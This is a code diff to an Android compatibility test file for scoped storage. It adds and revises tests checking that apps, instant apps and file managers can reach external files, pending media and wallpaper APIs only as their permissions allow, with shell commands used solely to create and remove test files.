+import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
 import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
 import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
 import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
@@ -110,6 +114,7 @@
 
 import android.Manifest;
 import android.app.AppOpsManager;
+import android.app.WallpaperManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
@@ -119,6 +124,7 @@
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
+import android.platform.test.annotations.AppModeInstant;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -158,14 +164,21 @@
     static final String TAG = "ScopedStorageTest";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
 
-    static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory";
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
 
-    static final String AUDIO_FILE_NAME = "ScopedStorageTest_file.mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file.m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file.srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file.mp4";
-    static final String IMAGE_FILE_NAME = "ScopedStorageTest_file.jpg";
-    static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file.pdf";
+    static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
+
+    static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
+    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
+    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
+    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
+    static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
+    static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
 
     static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
 
@@ -187,8 +200,10 @@
         // skips all test cases if FUSE is not active.
         assumeTrue(getBoolean("persist.sys.fuse", false));
 
-        pollForExternalStorageState();
-        getExternalFilesDir().mkdirs();
+        if (!getContext().getPackageManager().isInstantApp()) {
+            pollForExternalStorageState();
+            getExternalFilesDir().mkdirs();
+        }
     }
 
     /**
@@ -499,6 +514,29 @@
     }
 
     /**
+     * Test that deleting uri corresponding to a file which was already deleted via filePath
+     * doesn't result in a security exception.
+     */
+    @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertTrue(nonMediaFile.createNewFile());
+            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+            assertNotNull(uri);
+
+            // Delete the file via filePath
+            assertTrue(nonMediaFile.delete());
+
+            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+            // security exception.
+            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+        } finally {
+            nonMediaFile.delete();
+        }
+    }
+
+    /**
      * This test relies on the fact that {@link File#list} uses opendir internally, and that it
      * returns {@code null} if opendir fails.
      */
@@ -675,10 +713,8 @@
             // TEST_APP_A should not see other app's external files directory.
             installAppWithStoragePermissions(TEST_APP_A);
 
-            // TODO(b/157650550): we don't have consistent behaviour on both primary and public
-            //  volumes
-//            assertThrows(IOException.class,
-//                    () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
+            assertThrows(IOException.class,
+                    () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
             assertThrows(IOException.class,
                     () -> listAs(TEST_APP_A, getExternalFilesDir().getPath()));
         } finally {
@@ -744,6 +780,8 @@
         } finally {
             executeShellCommand("rm " + pdfFile.getAbsolutePath());
             executeShellCommand("rm " + videoFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
         }
     }
@@ -867,14 +905,14 @@
         try {
             assertThat(file.createNewFile()).isTrue();
 
-            // Since we can only place one F_WRLCK, the second open for readPfd will go
-            // throuh FUSE
+            // We upgrade 'w' only to 'rw'
             ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
             ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
 
             assertRWR(readPfd, writePfd);
+            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
             assertLowerFsFd(writePfd);
-            assertUpperFsFd(readPfd); // Without cache
+            assertLowerFsFd(readPfd);
         } finally {
             file.delete();
         }
@@ -1030,6 +1068,27 @@
         assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
     }
 
+    @Test
+    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+        try {
+            ParcelFileDescriptor upperCasePfd =
+                    ParcelFileDescriptor.open(upperCaseFile,
+                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+            ParcelFileDescriptor lowerCasePfd =
+                    ParcelFileDescriptor.open(lowerCaseFile,
+                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+
+            assertRWR(upperCasePfd, lowerCasePfd);
+            assertRWR(lowerCasePfd, upperCasePfd);
+        } finally {
+            upperCaseFile.delete();
+            lowerCaseFile.delete();
+        }
+    }
+
     private void createDeleteCreate(File create, File delete) throws Exception {
         try {
             assertThat(create.createNewFile()).isTrue();
@@ -1042,7 +1101,7 @@
             Thread.sleep(5);
         } finally {
             create.delete();
-            create.delete();
+            delete.delete();
         }
     }
 
@@ -1329,6 +1388,7 @@
             videoFile.delete();
             topLevelVideoFile.delete();
             executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
             denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
@@ -1577,28 +1637,26 @@
 
     @Test
     public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
         final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
-        try {
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // Nothing special about this, anyone can create an image file in DCIM
-            assertCanCreateFile(imageFileInDcim);
-            // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
-            // create a top level file
-            assertCanCreateFile(topLevelPdf);
-            // It can even create a music file in Pictures
-            assertCanCreateFile(musicFileInMovies);
-        } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
     }
 
     @Test
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
-        try {
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+        pollForManageExternalStorageAllowed();
 
+        try {
             // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
             installAppWithStoragePermissions(TEST_APP_A);
 
@@ -1607,8 +1665,7 @@
                     THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
             final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
                     NONMEDIA_FILE_NAME);
-            assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
-                    .isTrue();
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
 
             // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
             // file manager app doesn't have access to other app's external files directory
@@ -1622,12 +1679,46 @@
                     () -> { otherAppExternalDataFile.createNewFile(); });
 
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
         }
     }
 
     /**
+     * Tests that an instant app can't access external storage.
+     */
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        assumeTrue("This test requires that the test runs as an Instant app",
+                getContext().getPackageManager().isInstantApp());
+        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
+
+        // Can't read ExternalStorageDir
+        assertThat(getExternalStorageDir().list()).isNull();
+
+        // Can't create a top-level direcotry
+        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+        assertThat(topLevelDir.mkdir()).isFalse();
+
+        // Can't create file under root dir
+        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> { newTxtFile.createNewFile(); });
+
+        // Can't create music file under /MUSIC
+        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> { newMusicFile.createNewFile(); });
+
+        // getExternalFilesDir() is not null
+        assertThat(getExternalFilesDir()).isNotNull();
+
+        // Can't read/write app specific dir
+        assertThat(getExternalFilesDir().list()).isNull();
+        assertThat(getExternalFilesDir().exists()).isFalse();
+    }
+
+    /**
      * Test that apps can create and delete hidden file.
      */
     @Test
@@ -1943,6 +2034,8 @@
 
     @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -1954,8 +2047,6 @@
             assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
             assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
 
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
             assertThat(otherAppPdf.delete()).isTrue();
             assertThat(otherAppPdf.exists()).isFalse();
 
@@ -1965,7 +2056,6 @@
             assertThat(otherAppMusic.delete()).isTrue();
             assertThat(otherAppMusic.exists()).isFalse();
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
@@ -1979,6 +2069,8 @@
 
         final File downloadDir = getDownloadDir();
         final File otherAppPdf = new File(downloadDir, "other-" + NONMEDIA_FILE_NAME);
+        final File shellPdfAtRoot = new File(getExternalStorageDir(),
+                "shell-" + NONMEDIA_FILE_NAME);
         final File otherAppImage = new File(getDcimDir(), "other-" + IMAGE_FILE_NAME);
         final File myAppPdf = new File(downloadDir, "my-" + NONMEDIA_FILE_NAME);
         final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
@@ -1993,14 +2085,23 @@
             assertThat(myAppPdf.createNewFile()).isTrue();
             assertFileAccess_readWrite(myAppPdf);
 
-            // We can read the other app's image file because we hold R_E_S, but we can only
-            // check exists for the pdf file.
+            // We can read the other app's image file because we hold R_E_S, but we can
+            // check only exists for the pdf files.
             assertFileAccess_readOnly(otherAppImage);
             assertFileAccess_existsOnly(otherAppPdf);
             assertAccess(doesntExistPdf, false, false, false);
+
+            // We can check only exists for another app's files on root.
+            // Use shell to create root file because TEST_APP_A is in
+            // scoped storage.
+            executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
+            assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
+            executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
         }
@@ -2010,6 +2111,7 @@
     public void testAccess_directory() throws Exception {
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+        File topLevelDir = new File(getExternalStorageDir(), "Test");
         try {
             installApp(TEST_APP_A);
 
@@ -2024,34 +2126,42 @@
             // We cannot read or write the file, but app A can.
             assertThat(canReadAndWriteAs(TEST_APP_A,
                     otherAppExternalDataFile.getAbsolutePath())).isTrue();
-            assertCannotAccessOtherAppFile(otherAppExternalDataFile);
+            assertCannotReadOrWrite(otherAppExternalDataFile);
 
             // We cannot read or write the dir, but app A can.
             assertThat(canReadAndWriteAs(TEST_APP_A,
                     otherAppExternalDataDir.getAbsolutePath())).isTrue();
-            assertCannotAccessOtherAppFile(otherAppExternalDataDir);
+            assertCannotReadOrWrite(otherAppExternalDataDir);
 
             // We cannot read or write the sub dir, but app A can.
             assertThat(canReadAndWriteAs(TEST_APP_A,
                     otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
-            assertCannotAccessOtherAppFile(otherAppExternalDataSubDir);
+            assertCannotReadOrWrite(otherAppExternalDataSubDir);
 
             // We can read and write our own app dir, but app A cannot.
             assertThat(canReadAndWriteAs(TEST_APP_A,
                     getExternalFilesDir().getAbsolutePath())).isFalse();
             assertCanAccessMyAppFile(getExternalFilesDir());
 
-            assertDirectoryAccess(getDcimDir(), /* exists */ true);
-            assertDirectoryAccess(getExternalStorageDir(), true);
-            assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true);
-            assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false);
+            assertDirectoryAccess(getDcimDir(), /* exists */ true, /* canWrite */ true);
+            assertDirectoryAccess(getExternalStorageDir(),true, false);
+            assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
+            assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
+
+            executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+            assertDirectoryAccess(topLevelDir, true, false);
+
+            assertCannotReadOrWrite(new File("/storage/emulated"));
         } finally {
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+            executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
         }
     }
 
     @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File pdf = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
         final File pdfInObviouslyWrongPlace = new File(getPicturesDir(), NONMEDIA_FILE_NAME);
@@ -2064,7 +2174,6 @@
             assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
             assertThat(otherAppPdf.exists()).isTrue();
 
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
 
             // Write some data to the file
             try (final FileOutputStream fos = new FileOutputStream(otherAppPdf)) {
@@ -2091,7 +2200,6 @@
             pdfInObviouslyWrongPlace.delete();
             topLevelPdf.delete();
             musicFile.delete();
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             uninstallApp(TEST_APP_A);
         }
@@ -2114,6 +2222,8 @@
 
     @Test
     public void testManageExternalStorageReaddir() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -2123,8 +2233,7 @@
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             executeShellCommand("touch " + otherTopLevelFile);
-
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2136,8 +2245,8 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             executeShellCommand("rm " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2145,6 +2254,8 @@
 
     @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -2155,16 +2266,11 @@
             assertCreatePublishedFilesAs(
                     TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
-            // Once the test has permission to manage external storage, it can query for other
-            // apps' files and open them for read and write
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
             uninstallApp(TEST_APP_A);
         }
@@ -2242,6 +2348,7 @@
             assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
 
             executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
 
             installAppWithStoragePermissions(TEST_APP_A);
             allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -2260,6 +2367,8 @@
         } finally {
             executeShellCommand("rm " + otherAppPdfFile1);
             executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
             otherAppImageFile1.delete();
             otherAppImageFile2.delete();
             otherAppVideoFile1.delete();
@@ -2376,6 +2485,47 @@
         }
     }
 
+    @Test
+    public void testWallpaperApisNoPermission() throws Exception {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
+        assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
+        assertThrows(SecurityException.class,
+                () -> wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM));
+    }
+
+    @Test
+    public void testWallpaperApisReadExternalStorage() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        wallpaperManager.getFastDrawable();
+        wallpaperManager.peekFastDrawable();
+        wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        wallpaperManager.getFastDrawable();
+        wallpaperManager.peekFastDrawable();
+        wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+        adoptShellPermissionIdentity(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+        try {
+            WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+            wallpaperManager.getFastDrawable();
+            wallpaperManager.peekFastDrawable();
+            wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+        } finally {
+            dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
      * and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
@@ -2408,6 +2558,7 @@
     @Test
     public void testPendingFromFuse() throws Exception {
         final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
         try {
             assertTrue(pendingFile.createNewFile());
             // Newly created file should have IS_PENDING set
@@ -2416,6 +2567,13 @@
                 assertThat(c.getInt(0)).isEqualTo(1);
             }
 
+            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+            try (Cursor c = queryFileExcludingPending(pendingFile, MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(1);
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
             assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
 
             // IS_PENDING should be unset after the scan
@@ -2423,8 +2581,168 @@
                 assertTrue(c.moveToFirst());
                 assertThat(c.getInt(0)).isEqualTo(0);
             }
+
+            installAppWithStoragePermissions(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+            try (Cursor c = queryFileExcludingPending(otherPendingFile, MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(0);
+            }
         } finally {
             pendingFile.delete();
+            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+
+            // We can read other app's pending file from FUSE via filePath
+            assertCanQueryAndOpenFile(otherPendingFile, "r");
+
+            // We can also read other app's pending file via MediaStore API
+            assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
+        } finally {
+            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+        final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
+    }
+
+    @Test
+    public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        try {
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // Let app A create a file in its data dir
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                    NONMEDIA_FILE_NAME);
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+            // file manager app doesn't have access to other app's external files directory
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+            assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+            assertThrows(IOException.class,
+                    () -> { otherAppExternalDataFile.createNewFile(); });
+
+        } finally {
+            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherTopLevelFile = new File(getExternalStorageDir(),
+                "other" + NONMEDIA_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            executeShellCommand("touch " + otherTopLevelFile);
+
+            // We can list other apps' files
+            assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
+            assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
+            assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
+            // We can list top level files
+            assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
+
+            // We can also list all top level directories
+            assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
+        } finally {
+            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            installApp(TEST_APP_A);
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            assertCanQueryAndOpenFile(otherAppPdf, "rw");
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            assertCanQueryAndOpenFile(otherAppMusic, "rw");
+            assertCanQueryAndOpenFile(otherHiddenFile, "rw");
+        } finally {
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+        final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+        final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+        try {
+            assertTrue(imageFile.createNewFile());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            final String renameFileCommand = String.format("mv %s %s",
+                    imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+            executeShellCommand(renameFileCommand);
+            assertFalse(imageFile.exists());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+            assertTrue(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+            final String renameDirectoryCommand = String.format("mv %s %s",
+                    dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+            executeShellCommand(renameDirectoryCommand);
+            assertFalse(dir.exists());
+            assertFalse(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+            assertTrue(renamedDir.exists());
+            assertTrue(imageFileInRenamedDir.exists());
+            assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+        } finally {
+            imageFile.delete();
+            renamedImageFile.delete();
+            imageFileInRenamedDir.delete();
+            dir.delete();
+            renamedDir.delete();
         }
     }
 
@@ -2733,13 +3051,14 @@
         assertAccess(file, true, true, true);
     }
 
-    private static void assertDirectoryAccess(File dir, boolean exists) throws Exception {
+    private static void assertDirectoryAccess(File dir, boolean exists, boolean canWrite)
+            throws Exception {
         // This util does not handle app data directories.
